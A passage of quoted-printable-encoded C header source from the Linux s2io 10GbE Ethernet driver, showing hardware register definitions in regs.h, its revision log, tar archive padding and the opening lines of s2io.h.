u64 tx_mat48_55;=0A= u64 tx_mat56_63;=0A= =0A= u8 unused_1[0x10];=0A= =0A= /* Automated statistics collection */=0A= u64 stat_cfg;=0A= #define STAT_CFG_STAT_EN BIT(0)=0A= #define STAT_CFG_ONE_SHOT_EN BIT(1)=0A= #define STAT_CFG_STAT_NS_EN BIT(8)=0A= #define STAT_CFG_STAT_RO BIT(9)=0A= #define STAT_TRSF_PER(n) TBD=0A= #define PER_SEC 0x208d5=0A= #define SET_UPDT_PERIOD(n) vBIT((PER_SEC*n),32,32)=0A= =0A= u64 stat_addr;=0A= =0A= /* General Configuration */=0A= u64 mdio_control;=0A= =0A= u64 dtx_control;=0A= =0A= u64 i2c_control;=0A= #define I2C_CONTROL_DEV_ID(id) vBIT(id,1,3)=0A= #define I2C_CONTROL_ADDR(addr) vBIT(addr,5,11)=0A= #define I2C_CONTROL_BYTE_CNT(cnt) vBIT(cnt,22,2)=0A= #define I2C_CONTROL_READ BIT(24)=0A= #define I2C_CONTROL_NACK BIT(25)=0A= #define I2C_CONTROL_CNTL_START vBIT(0xE,28,4)=0A= #define I2C_CONTROL_CNTL_END(val) (val & vBIT(0x1,28,4))=0A= #define I2C_CONTROL_GET_DATA(val) (u32)(val & 0xFFFFFFFF)=0A= #define I2C_CONTROL_SET_DATA(val) vBIT(val,32,32)=0A= =0A= u64 gpio_control;=0A= #define GPIO_CTRL_GPIO_0 BIT(8)=0A= =0A= u8 unused7[0x600];=0A= =0A= /* TxDMA registers */=0A= u64 txdma_int_status;=0A= u64 txdma_int_mask;=0A= #define TXDMA_PFC_INT BIT(0)=0A= #define TXDMA_TDA_INT BIT(1)=0A= #define TXDMA_PCC_INT BIT(2)=0A= #define TXDMA_TTI_INT BIT(3)=0A= #define TXDMA_LSO_INT BIT(4)=0A= #define TXDMA_TPA_INT BIT(5)=0A= #define TXDMA_SM_INT BIT(6)=0A= u64 pfc_err_reg;=0A= u64 pfc_err_mask;=0A= u64 pfc_err_alarm;=0A= =0A= u64 tda_err_reg;=0A= u64 tda_err_mask;=0A= u64 tda_err_alarm;=0A= =0A= u64 pcc_err_reg;=0A= u64 pcc_err_mask;=0A= u64 pcc_err_alarm;=0A= =0A= u64 tti_err_reg;=0A= u64 tti_err_mask;=0A= u64 tti_err_alarm;=0A= =0A= u64 lso_err_reg;=0A= u64 lso_err_mask;=0A= u64 lso_err_alarm;=0A= =0A= u64 tpa_err_reg;=0A= u64 tpa_err_mask;=0A= u64 tpa_err_alarm;=0A= =0A= u64 sm_err_reg;=0A= u64 sm_err_mask;=0A= u64 sm_err_alarm;=0A= =0A= u8 unused8[0x100 - 0xB8];=0A= =0A= /* TxDMA arbiter */=0A= u64 tx_dma_wrap_stat;=0A= =0A= /* Tx FIFO controller */=0A= #define X_MAX_FIFOS 8=0A= #define X_FIFO_MAX_LEN 0x1FFF /*8191 */=0A= u64 tx_fifo_partition_0;=0A= #define TX_FIFO_PARTITION_EN BIT(0)=0A= #define TX_FIFO_PARTITION_0_PRI(val) vBIT(val,5,3)=0A= #define TX_FIFO_PARTITION_0_LEN(val) vBIT(val,19,13)=0A= #define TX_FIFO_PARTITION_1_PRI(val) vBIT(val,37,3)=0A= #define TX_FIFO_PARTITION_1_LEN(val) vBIT(val,51,13 )=0A= =0A= u64 tx_fifo_partition_1;=0A= #define TX_FIFO_PARTITION_2_PRI(val) vBIT(val,5,3)=0A= #define TX_FIFO_PARTITION_2_LEN(val) vBIT(val,19,13)=0A= #define TX_FIFO_PARTITION_3_PRI(val) vBIT(val,37,3)=0A= #define TX_FIFO_PARTITION_3_LEN(val) vBIT(val,51,13)=0A= =0A= u64 tx_fifo_partition_2;=0A= #define TX_FIFO_PARTITION_4_PRI(val) vBIT(val,5,3)=0A= #define TX_FIFO_PARTITION_4_LEN(val) vBIT(val,19,13)=0A= #define TX_FIFO_PARTITION_5_PRI(val) vBIT(val,37,3)=0A= #define TX_FIFO_PARTITION_5_LEN(val) vBIT(val,51,13)=0A= =0A= u64 tx_fifo_partition_3;=0A= #define TX_FIFO_PARTITION_6_PRI(val) vBIT(val,5,3)=0A= #define TX_FIFO_PARTITION_6_LEN(val) vBIT(val,19,13)=0A= #define TX_FIFO_PARTITION_7_PRI(val) vBIT(val,37,3)=0A= #define TX_FIFO_PARTITION_7_LEN(val) vBIT(val,51,13)=0A= =0A= #define TX_FIFO_PARTITION_PRI_0 0 /* highest */=0A= #define TX_FIFO_PARTITION_PRI_1 1=0A= #define TX_FIFO_PARTITION_PRI_2 2=0A= #define TX_FIFO_PARTITION_PRI_3 3=0A= #define TX_FIFO_PARTITION_PRI_4 4=0A= #define TX_FIFO_PARTITION_PRI_5 5=0A= #define TX_FIFO_PARTITION_PRI_6 6=0A= #define TX_FIFO_PARTITION_PRI_7 7 /* lowest */=0A= =0A= u64 tx_w_round_robin_0;=0A= u64 tx_w_round_robin_1;=0A= u64 tx_w_round_robin_2;=0A= u64 tx_w_round_robin_3;=0A= u64 tx_w_round_robin_4;=0A= =0A= u64 tti_command_mem;=0A= #define TTI_CMD_MEM_WE BIT(7)=0A= #define TTI_CMD_MEM_STROBE_NEW_CMD BIT(15)=0A= #define TTI_CMD_MEM_STROBE_BEING_EXECUTED BIT(15)=0A= #define TTI_CMD_MEM_OFFSET(n) vBIT(n,26,6)=0A= =0A= u64 tti_data1_mem;=0A= #define TTI_DATA1_MEM_TX_TIMER_VAL(n) vBIT(n,6,26)=0A= #define TTI_DATA1_MEM_TX_TIMER_AC_CI(n) vBIT(n,38,2)=0A= #define TTI_DATA1_MEM_TX_TIMER_AC_EN BIT(38)=0A= #define TTI_DATA1_MEM_TX_TIMER_CI_EN BIT(39)=0A= #define TTI_DATA1_MEM_TX_URNG_A(n) vBIT(n,41,7)=0A= #define TTI_DATA1_MEM_TX_URNG_B(n) vBIT(n,49,7)=0A= #define TTI_DATA1_MEM_TX_URNG_C(n) vBIT(n,57,7)=0A= =0A= u64 tti_data2_mem;=0A= #define TTI_DATA2_MEM_TX_UFC_A(n) vBIT(n,0,16)=0A= #define TTI_DATA2_MEM_TX_UFC_B(n) vBIT(n,16,16)=0A= #define TTI_DATA2_MEM_TX_UFC_C(n) vBIT(n,32,16)=0A= #define TTI_DATA2_MEM_TX_UFC_D(n) vBIT(n,48,16)=0A= =0A= /* Tx Protocol assist */=0A= u64 tx_pa_cfg;=0A= #define TX_PA_CFG_IGNORE_FRM_ERR BIT(1)=0A= #define TX_PA_CFG_IGNORE_SNAP_OUI BIT(2)=0A= #define TX_PA_CFG_IGNORE_LLC_CTRL BIT(3)=0A= #define TX_PA_CFG_IGNORE_L2_ERR BIT(6)=0A= =0A= /* Recent add, used only debug purposes. */=0A= u64 pcc_enable;=0A= =0A= u8 unused9[0x700 - 0x178];=0A= =0A= u64 txdma_debug_ctrl;=0A= =0A= u8 unused10[0x1800 - 0x1708];=0A= =0A= /* RxDMA Registers */=0A= u64 rxdma_int_status;=0A= u64 rxdma_int_mask;=0A= #define RXDMA_INT_RC_INT_M BIT(0)=0A= #define RXDMA_INT_RPA_INT_M BIT(1)=0A= #define RXDMA_INT_RDA_INT_M BIT(2)=0A= #define RXDMA_INT_RTI_INT_M BIT(3)=0A= =0A= u64 rda_err_reg;=0A= u64 rda_err_mask;=0A= u64 rda_err_alarm;=0A= =0A= u64 rc_err_reg;=0A= u64 rc_err_mask;=0A= u64 rc_err_alarm;=0A= =0A= u64 prc_pcix_err_reg;=0A= u64 prc_pcix_err_mask;=0A= u64 prc_pcix_err_alarm;=0A= =0A= u64 rpa_err_reg;=0A= u64 rpa_err_mask;=0A= u64 rpa_err_alarm;=0A= =0A= u64 rti_err_reg;=0A= u64 rti_err_mask;=0A= u64 rti_err_alarm;=0A= =0A= u8 unused11[0x100 - 0x88];=0A= =0A= /* DMA arbiter */=0A= u64 rx_queue_priority;=0A= #define RX_QUEUE_0_PRIORITY(val) vBIT(val,5,3)=0A= #define RX_QUEUE_1_PRIORITY(val) vBIT(val,13,3)=0A= #define RX_QUEUE_2_PRIORITY(val) vBIT(val,21,3)=0A= #define RX_QUEUE_3_PRIORITY(val) vBIT(val,29,3)=0A= #define RX_QUEUE_4_PRIORITY(val) vBIT(val,37,3)=0A= #define RX_QUEUE_5_PRIORITY(val) vBIT(val,45,3)=0A= #define RX_QUEUE_6_PRIORITY(val) vBIT(val,53,3)=0A= #define RX_QUEUE_7_PRIORITY(val) vBIT(val,61,3)=0A= =0A= #define RX_QUEUE_PRI_0 0 /* highest */=0A= #define RX_QUEUE_PRI_1 1=0A= #define RX_QUEUE_PRI_2 2=0A= #define RX_QUEUE_PRI_3 3=0A= #define RX_QUEUE_PRI_4 4=0A= #define RX_QUEUE_PRI_5 5=0A= #define RX_QUEUE_PRI_6 6=0A= #define RX_QUEUE_PRI_7 7 /* lowest */=0A= =0A= u64 rx_w_round_robin_0;=0A= u64 rx_w_round_robin_1;=0A= u64 rx_w_round_robin_2;=0A= u64 rx_w_round_robin_3;=0A= u64 rx_w_round_robin_4;=0A= =0A= /* Per-ring controller regs */=0A= #define RX_MAX_RINGS 8=0A= #if 0=0A= #define RX_MAX_RINGS_SZ 0xFFFF /* 65536 */=0A= #define RX_MIN_RINGS_SZ 0x3F /* 63 */=0A= #endif=0A= u64 prc_rxd0_n[RX_MAX_RINGS];=0A= u64 prc_ctrl_n[RX_MAX_RINGS];=0A= #define PRC_CTRL_RC_ENABLED BIT(7)=0A= #define PRC_CTRL_RING_MODE (BIT(14)|BIT(15))=0A= #define PRC_CTRL_RING_MODE_1 vBIT(0,14,2)=0A= #define PRC_CTRL_RING_MODE_3 vBIT(1,14,2)=0A= #define PRC_CTRL_RING_MODE_5 vBIT(2,14,2)=0A= #define PRC_CTRL_RING_MODE_x vBIT(3,14,2)=0A= #define PRC_CTRL_NO_SNOOP (BIT(22)|BIT(23))=0A= #define PRC_CTRL_NO_SNOOP_DESC BIT(22)=0A= #define PRC_CTRL_NO_SNOOP_BUFF BIT(23)=0A= #define PRC_CTRL_RXD_BACKOFF_INTERVAL(val) vBIT(val,40,24)=0A= =0A= u64 prc_alarm_action;=0A= #define PRC_ALARM_ACTION_RR_R0_STOP BIT(3)=0A= #define PRC_ALARM_ACTION_RW_R0_STOP BIT(7)=0A= #define PRC_ALARM_ACTION_RR_R1_STOP BIT(11)=0A= #define PRC_ALARM_ACTION_RW_R1_STOP BIT(15)=0A= #define PRC_ALARM_ACTION_RR_R2_STOP BIT(19)=0A= #define PRC_ALARM_ACTION_RW_R2_STOP BIT(23)=0A= #define PRC_ALARM_ACTION_RR_R3_STOP BIT(27)=0A= #define PRC_ALARM_ACTION_RW_R3_STOP BIT(31)=0A= #define PRC_ALARM_ACTION_RR_R4_STOP BIT(35)=0A= #define PRC_ALARM_ACTION_RW_R4_STOP BIT(39)=0A= #define PRC_ALARM_ACTION_RR_R5_STOP BIT(43)=0A= #define PRC_ALARM_ACTION_RW_R5_STOP BIT(47)=0A= #define PRC_ALARM_ACTION_RR_R6_STOP BIT(51)=0A= #define PRC_ALARM_ACTION_RW_R6_STOP BIT(55)=0A= #define PRC_ALARM_ACTION_RR_R7_STOP BIT(59)=0A= #define PRC_ALARM_ACTION_RW_R7_STOP BIT(63)=0A= =0A= /* Receive traffic interrupts */=0A= u64 rti_command_mem;=0A= #define RTI_CMD_MEM_WE BIT(7)=0A= #define RTI_CMD_MEM_STROBE BIT(15)=0A= #define RTI_CMD_MEM_STROBE_NEW_CMD BIT(15)=0A= #define RTI_CMD_MEM_STROBE_CMD_BEING_EXECUTED BIT(15)=0A= #define RTI_CMD_MEM_OFFSET(n) vBIT(n,29,3)=0A= =0A= u64 rti_data1_mem;=0A= #define RTI_DATA1_MEM_RX_TIMER_VAL(n) vBIT(n,3,29)=0A= #define RTI_DATA1_MEM_RX_TIMER_AC_EN BIT(38)=0A= #define RTI_DATA1_MEM_RX_TIMER_CI_EN BIT(39)=0A= #define RTI_DATA1_MEM_RX_URNG_A(n) vBIT(n,41,7)=0A= #define RTI_DATA1_MEM_RX_URNG_B(n) vBIT(n,49,7)=0A= #define RTI_DATA1_MEM_RX_URNG_C(n) vBIT(n,57,7)=0A= =0A= u64 rti_data2_mem;=0A= #define RTI_DATA2_MEM_RX_UFC_A(n) vBIT(n,0,16)=0A= #define RTI_DATA2_MEM_RX_UFC_B(n) vBIT(n,16,16)=0A= #define RTI_DATA2_MEM_RX_UFC_C(n) vBIT(n,32,16)=0A= #define RTI_DATA2_MEM_RX_UFC_D(n) vBIT(n,48,16)=0A= =0A= u64 rx_pa_cfg;=0A= #define RX_PA_CFG_IGNORE_FRM_ERR BIT(1)=0A= #define RX_PA_CFG_IGNORE_SNAP_OUI BIT(2)=0A= #define RX_PA_CFG_IGNORE_LLC_CTRL BIT(3)=0A= =0A= u8 unused12[0x700 - 0x1D8];=0A= =0A= u64 rxdma_debug_ctrl;=0A= =0A= u8 unused13[0x2000 - 0x1f08];=0A= =0A= /* Media Access Controller Register */=0A= u64 mac_int_status;=0A= u64 mac_int_mask;=0A= #define MAC_INT_STATUS_TMAC_INT BIT(0)=0A= #define MAC_INT_STATUS_RMAC_INT BIT(1)=0A= =0A= u64 mac_tmac_err_reg;=0A= #define TMAC_ERR_REG_TMAC_ECC_DB_ERR BIT(15)=0A= #define TMAC_ERR_REG_TMAC_TX_BUF_OVRN BIT(23)=0A= #define TMAC_ERR_REG_TMAC_TX_CRI_ERR BIT(31)=0A= u64 mac_tmac_err_mask;=0A= u64 mac_tmac_err_alarm;=0A= =0A= u64 mac_rmac_err_reg;=0A= #define RMAC_ERR_REG_RX_BUFF_OVRN BIT(0)=0A= #define RMAC_ERR_REG_RTS_ECC_DB_ERR BIT(14)=0A= #define RMAC_ERR_REG_ECC_DB_ERR BIT(15)=0A= #define RMAC_LINK_STATE_CHANGE_INT BIT(31)=0A= u64 mac_rmac_err_mask;=0A= u64 mac_rmac_err_alarm;=0A= =0A= u8 unused14[0x100 - 0x40];=0A= =0A= u64 mac_cfg;=0A= #define MAC_CFG_TMAC_ENABLE BIT(0)=0A= #define MAC_CFG_RMAC_ENABLE BIT(1)=0A= #define MAC_CFG_LAN_NOT_WAN BIT(2)=0A= #define MAC_CFG_TMAC_LOOPBACK BIT(3)=0A= #define MAC_CFG_TMAC_APPEND_PAD BIT(4)=0A= #define MAC_CFG_RMAC_STRIP_FCS BIT(5)=0A= #define MAC_CFG_RMAC_STRIP_PAD BIT(6)=0A= #define MAC_CFG_RMAC_PROM_ENABLE BIT(7)=0A= #define MAC_RMAC_DISCARD_PFRM BIT(8)=0A= #define MAC_RMAC_BCAST_ENABLE BIT(9)=0A= #define MAC_RMAC_ALL_ADDR_ENABLE BIT(10)=0A= #define MAC_RMAC_INVLD_IPG_THR(val) vBIT(val,16,8)=0A= =0A= u64 tmac_avg_ipg;=0A= #define TMAC_AVG_IPG(val) vBIT(val,0,8)=0A= =0A= u64 rmac_max_pyld_len;=0A= #define RMAC_MAX_PYLD_LEN(val) vBIT(val,2,14)=0A= #define RMAC_MAX_PYLD_LEN_DEF vBIT(1500,2,14)=0A= #define RMAC_MAX_PYLD_LEN_JUMBO_DEF vBIT(9600,2,14)=0A= =0A= u64 rmac_err_cfg;=0A= #define RMAC_ERR_FCS BIT(0)=0A= #define RMAC_ERR_FCS_ACCEPT BIT(1)=0A= #define RMAC_ERR_TOO_LONG BIT(1)=0A= #define RMAC_ERR_TOO_LONG_ACCEPT BIT(1)=0A= #define RMAC_ERR_RUNT BIT(2)=0A= #define RMAC_ERR_RUNT_ACCEPT BIT(2)=0A= #define RMAC_ERR_LEN_MISMATCH BIT(3)=0A= #define RMAC_ERR_LEN_MISMATCH_ACCEPT BIT(3)=0A= =0A= u64 rmac_cfg_key;=0A= #define RMAC_CFG_KEY(val) vBIT(val,0,16)=0A= =0A= #define MAX_MAC_ADDRESSES 16=0A= #define MAX_MC_ADDRESSES 32 /* Multicast addresses */=0A= #define MAC_MAC_ADDR_START_OFFSET 0=0A= #define MAC_MC_ADDR_START_OFFSET 16=0A= #define MAC_MC_ALL_MC_ADDR_OFFSET 63 /* enables all multicast pkts */=0A= u64 rmac_addr_cmd_mem;=0A= #define RMAC_ADDR_CMD_MEM_WE BIT(7)=0A= #define RMAC_ADDR_CMD_MEM_RD 0=0A= #define RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD BIT(15)=0A= #define RMAC_ADDR_CMD_MEM_STROBE_CMD_EXECUTING BIT(15)=0A= #define RMAC_ADDR_CMD_MEM_OFFSET(n) vBIT(n,26,6)=0A= =0A= u64 rmac_addr_data0_mem;=0A= #define RMAC_ADDR_DATA0_MEM_ADDR(n) vBIT(n,0,48)=0A= #define RMAC_ADDR_DATA0_MEM_USER BIT(48)=0A= =0A= u64 rmac_addr_data1_mem;=0A= #define RMAC_ADDR_DATA1_MEM_MASK(n) vBIT(n,0,48)=0A= =0A= u8 unused15[0x8];=0A= =0A= /*=0A= u64 rmac_addr_cfg;=0A= #define RMAC_ADDR_UCASTn_EN(n) mBIT(0)_n(n)=0A= #define RMAC_ADDR_MCASTn_EN(n) mBIT(0)_n(n)=0A= #define RMAC_ADDR_BCAST_EN vBIT(0)_48 =0A= #define RMAC_ADDR_ALL_ADDR_EN vBIT(0)_49 =0A= */=0A= u64 tmac_ipg_cfg;=0A= =0A= u64 rmac_pause_cfg;=0A= #define RMAC_PAUSE_GEN BIT(0)=0A= #define RMAC_PAUSE_GEN_ENABLE BIT(0)=0A= #define RMAC_PAUSE_RX BIT(1)=0A= #define RMAC_PAUSE_RX_ENABLE BIT(1)=0A= #define RMAC_PAUSE_HG_PTIME_DEF vBIT(0xFFFF,16,16)=0A= #define RMAC_PAUSE_HG_PTIME(val) vBIT(val,16,16)=0A= =0A= u64 rmac_red_cfg;=0A= =0A= u64 rmac_red_rate_q0q3;=0A= u64 rmac_red_rate_q4q7;=0A= =0A= u64 mac_link_util;=0A= #define MAC_TX_LINK_UTIL vBIT(0xFE,1,7)=0A= #define MAC_TX_LINK_UTIL_DISABLE vBIT(0xF, 8,4)=0A= #define MAC_TX_LINK_UTIL_VAL( n ) vBIT(n,8,4)=0A= #define MAC_RX_LINK_UTIL vBIT(0xFE,33,7)=0A= #define MAC_RX_LINK_UTIL_DISABLE vBIT(0xF,40,4)=0A= #define MAC_RX_LINK_UTIL_VAL( n ) vBIT(n,40,4)=0A= =0A= #define MAC_LINK_UTIL_DISABLE MAC_TX_LINK_UTIL_DISABLE | \=0A= MAC_RX_LINK_UTIL_DISABLE=0A= =0A= u64 rmac_invalid_ipg;=0A= =0A= /* rx traffic steering */=0A= #define MAC_RTS_FRM_LEN_SET(len) vBIT(len,2,14)=0A= u64 rts_frm_len_n[8];=0A= =0A= u64 rts_qos_steering;=0A= =0A= #define MAX_DIX_MAP 4=0A= u64 rts_dix_map_n[MAX_DIX_MAP];=0A= #define RTS_DIX_MAP_ETYPE(val) vBIT(val,0,16)=0A= #define RTS_DIX_MAP_SCW(val) BIT(val,21)=0A= =0A= u64 rts_q_alternates;=0A= u64 rts_default_q;=0A= =0A= u64 rts_ctrl;=0A= #define RTS_CTRL_IGNORE_SNAP_OUI BIT(2)=0A= #define RTS_CTRL_IGNORE_LLC_CTRL BIT(3)=0A= =0A= u64 rts_pn_cam_ctrl;=0A= #define RTS_PN_CAM_CTRL_WE BIT(7)=0A= #define RTS_PN_CAM_CTRL_STROBE_NEW_CMD BIT(15)=0A= #define RTS_PN_CAM_CTRL_STROBE_BEING_EXECUTED BIT(15)=0A= #define RTS_PN_CAM_CTRL_OFFSET(n) vBIT(n,24,8)=0A= u64 rts_pn_cam_data;=0A= #define RTS_PN_CAM_DATA_TCP_SELECT BIT(7)=0A= #define RTS_PN_CAM_DATA_PORT(val) vBIT(val,8,16)=0A= #define RTS_PN_CAM_DATA_SCW(val) vBIT(val,24,8)=0A= =0A= u64 rts_ds_mem_ctrl;=0A= #define RTS_DS_MEM_CTRL_WE BIT(7)=0A= #define RTS_DS_MEM_CTRL_STROBE_NEW_CMD BIT(15)=0A= #define RTS_DS_MEM_CTRL_STROBE_CMD_BEING_EXECUTED BIT(15)=0A= #define RTS_DS_MEM_CTRL_OFFSET(n) vBIT(n,26,6)=0A= u64 rts_ds_mem_data;=0A= #define RTS_DS_MEM_DATA(n) vBIT(n,0,8)=0A= =0A= u8 unused16[0x700 - 0x220];=0A= =0A= u64 mac_debug_ctrl;=0A= #define MAC_DBG_ACTIVITY_VALUE 0x411040400000000ULL=0A= =0A= u8 unused17[0x2800 - 0x2708];=0A= =0A= /* memory controller registers */=0A= u64 mc_int_status;=0A= #define MC_INT_STATUS_MC_INT BIT(0)=0A= u64 mc_int_mask;=0A= #define MC_INT_MASK_MC_INT BIT(0)=0A= =0A= u64 mc_err_reg;=0A= #define MC_ERR_REG_ECC_DB_ERR_L BIT(14)=0A= #define MC_ERR_REG_ECC_DB_ERR_U BIT(15)=0A= #define MC_ERR_REG_MIRI_CRI_ERR_0 BIT(22)=0A= #define MC_ERR_REG_MIRI_CRI_ERR_1 BIT(23)=0A= #define MC_ERR_REG_SM_ERR BIT(31)=0A= u64 mc_err_mask;=0A= u64 mc_err_alarm;=0A= =0A= u8 unused18[0x100 - 0x28];=0A= =0A= /* MC configuration */=0A= u64 rx_queue_cfg;=0A= #define RX_QUEUE_CFG_Q0_SZ(n) vBIT(n,0,8)=0A= #define RX_QUEUE_CFG_Q1_SZ(n) vBIT(n,8,8)=0A= #define RX_QUEUE_CFG_Q2_SZ(n) vBIT(n,16,8)=0A= #define RX_QUEUE_CFG_Q3_SZ(n) vBIT(n,24,8)=0A= #define RX_QUEUE_CFG_Q4_SZ(n) vBIT(n,32,8)=0A= #define RX_QUEUE_CFG_Q5_SZ(n) vBIT(n,40,8)=0A= #define RX_QUEUE_CFG_Q6_SZ(n) vBIT(n,48,8)=0A= #define RX_QUEUE_CFG_Q7_SZ(n) vBIT(n,56,8)=0A= =0A= u64 mc_rldram_mrs;=0A= #define MC_RLDRAM_QUEUE_SIZE_ENABLE BIT(39)=0A= #define MC_RLDRAM_MRS_ENABLE BIT(47)=0A= =0A= u64 mc_rldram_interleave;=0A= =0A= u64 mc_pause_thresh_q0q3;=0A= u64 mc_pause_thresh_q4q7;=0A= =0A= u64 mc_red_thresh_q[8];=0A= =0A= u8 unused19[0x200 - 0x168];=0A= u64 mc_rldram_ref_per;=0A= u8 unused20[0x220 - 0x208];=0A= u64 mc_rldram_test_ctrl;=0A= #define MC_RLDRAM_TEST_MODE BIT(47)=0A= #define MC_RLDRAM_TEST_WRITE BIT(7)=0A= #define MC_RLDRAM_TEST_GO BIT(15)=0A= #define MC_RLDRAM_TEST_DONE BIT(23)=0A= #define MC_RLDRAM_TEST_PASS BIT(31)=0A= =0A= u8 unused21[0x240 - 0x228];=0A= u64 mc_rldram_test_add;=0A= u8 unused22[0x260 - 0x248];=0A= u64 mc_rldram_test_d0;=0A= u8 unused23[0x280 - 0x268];=0A= u64 mc_rldram_test_d1;=0A= u8 unused24[0x300 - 0x288];=0A= u64 mc_rldram_test_d2;=0A= u8 unused25[0x700 - 0x308];=0A= u64 mc_debug_ctrl;=0A= =0A= u8 unused26[0x3000 - 0x2f08];=0A= =0A= /* XGXG */=0A= /* XGXS control registers */=0A= =0A= u64 xgxs_int_status;=0A= #define XGXS_INT_STATUS_TXGXS BIT(0)=0A= #define XGXS_INT_STATUS_RXGXS BIT(1)=0A= u64 xgxs_int_mask;=0A= #define XGXS_INT_MASK_TXGXS BIT(0)=0A= #define XGXS_INT_MASK_RXGXS BIT(1)=0A= =0A= u64 xgxs_txgxs_err_reg;=0A= #define TXGXS_ECC_DB_ERR BIT(15)=0A= u64 xgxs_txgxs_err_mask;=0A= u64 xgxs_txgxs_err_alarm;=0A= =0A= u64 xgxs_rxgxs_err_reg;=0A= u64 xgxs_rxgxs_err_mask;=0A= u64 xgxs_rxgxs_err_alarm;=0A= =0A= u8 unused27[0x100 - 0x40];=0A= =0A= u64 xgxs_cfg;=0A= u64 xgxs_status;=0A= =0A= u64 xgxs_cfg_key;=0A= u64 xgxs_efifo_cfg; /* CHANGED */=0A= u64 rxgxs_ber_0; /* CHANGED */=0A= u64 rxgxs_ber_1; /* CHANGED */=0A= =0A= } XENA_dev_config_t;=0A= =0A= #define XENA_REG_SPACE sizeof(XENA_dev_config_t)=0A= #define XENA_EEPROM_SPACE (0x01 << 11)=0A= =0A= #endif /* _REGS_H */=0A= /*=0A= *$Log: regs.h,v $=0A= *Revision 1.24 2004/02/10 11:58:41 rkoushik=0A= *Bug: 668=0A= *Eliminated usage of self declared type 'dmaaddr_t' and also=0A= *eliminated the usage of PPC64_ARCH macro which was prevalent in the = older code.=0A= *Further details in the bug.=0A= *=0A= *Koushik=0A= *=0A= *Revision 1.23 2004/02/04 04:52:44 rkoushik=0A= *Bug: 667=0A= * Indented the code using indent utility. Details of the options=0A= *used are specified in bug # 667=0A= *=0A= *Koushik=0A= *=0A= *Revision 1.22 2004/01/23 12:08:39 rkoushik=0A= *Bug: 549=0A= *Added the beacon feature for new celestica cards using GPIO.=0A= *test it out using the ethtool utility on both=0A= *the new and old cards in both Link Up and Down states.=0A= *=0A= *Koushik=0A= *=0A= *Revision 1.21 2004/01/19 09:51:09 rkoushik=0A= *Bug: 598=0A= * Added GPL notices on the driver source files, namely=0A= *s2io.c, s2io.h and regs.h=0A= *=0A= *Koushik=0A= *=0A= *Revision 1.20 2003/12/30 13:03:32 rkoushik=0A= *Bug: 177=0A= *The driver has been updated with support for funtionalities in ethtool=0A= *version 1.8. Interrupt moderation has been skipped as the methodology = to=0A= *set it using ethtool is different to our methodology.=0A= *=0A= *-Koushik=0A= *=0A= *Revision 1.19 2003/12/01 22:02:38 ukiran=0A= *Bug:510=0A= *Cleanup of =0D chars=0A= *=0A= *Revision 1.18 2003/11/04 02:06:47 ukiran=0A= *Bug:484=0A= *Enabling Logs in source code=0A= *=0A= */=0A= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00./s2io.h=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=000100644=000000000=000000000=0000000062717=0010013273= 657=00010760=00 = 0=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00ustar = =00root=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00root=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00/***************= *********************************************************=0A= * s2io.h: A Linux PCI-X Ethernet driver for S2IO 10GbE Server NIC=0A= * Copyright 2002 Raghavendra Koushik (raghavendra.koushik@s2io.com)=0A= =0A= * This software may be used and distributed according to the terms of=0A= * the GNU General Public License (GPL), incorporated herein by = reference.=0A= * Drivers based on or derived from this code fall under the GPL and must=0A= * retain the authorship, copyright and license notice. This file is not=0A= * a complete program and may only be used when the entire operating=0A= * system is licensed under the GPL.=0A= * See the file COPYING in this distribution for more information.=0A= = ************************************************************************/=0A= #ifndef _S2IO_H=0A= #define _S2IO_H=0A= =0A= #if defined(CONFIG_IA64) || defined(CONFIG_ALPHA) || = defined(CONFIG_X86_64) \=0A= || defined(CONFIG_PPC64)=0A= #define XENA_ARCH_64=0A= #endif=0A= =0A= #if LINUX_VERSION_CODE >=3D KERNEL_VERSION(2,6,00)=0A= #define KERN_26=0A= #endif=0A= =0A= #define CONFIGURE_ETHTOOL_SUPPORT=0A= //#define CONFIGURE_NAPI_SUPPORT=0A= //#define CONFIGURE_EXTENDED_ERROR_HANDLING=0A= =0A= #define TBD 0=0A= #define BIT(loc) (((u64)0x8000000000000000) >> loc)=0A= #define vBIT(val, loc, sz) (((u64)val) << (64-loc-sz))=0A= =0A= #ifndef ETH_ALEN=0A= #define ETH_ALEN 6=0A= #endif=0A= =0A= #ifndef BOOL=0A= #define BOOL int=0A= #endif=0A= =0A= #ifndef TRUE=0A= 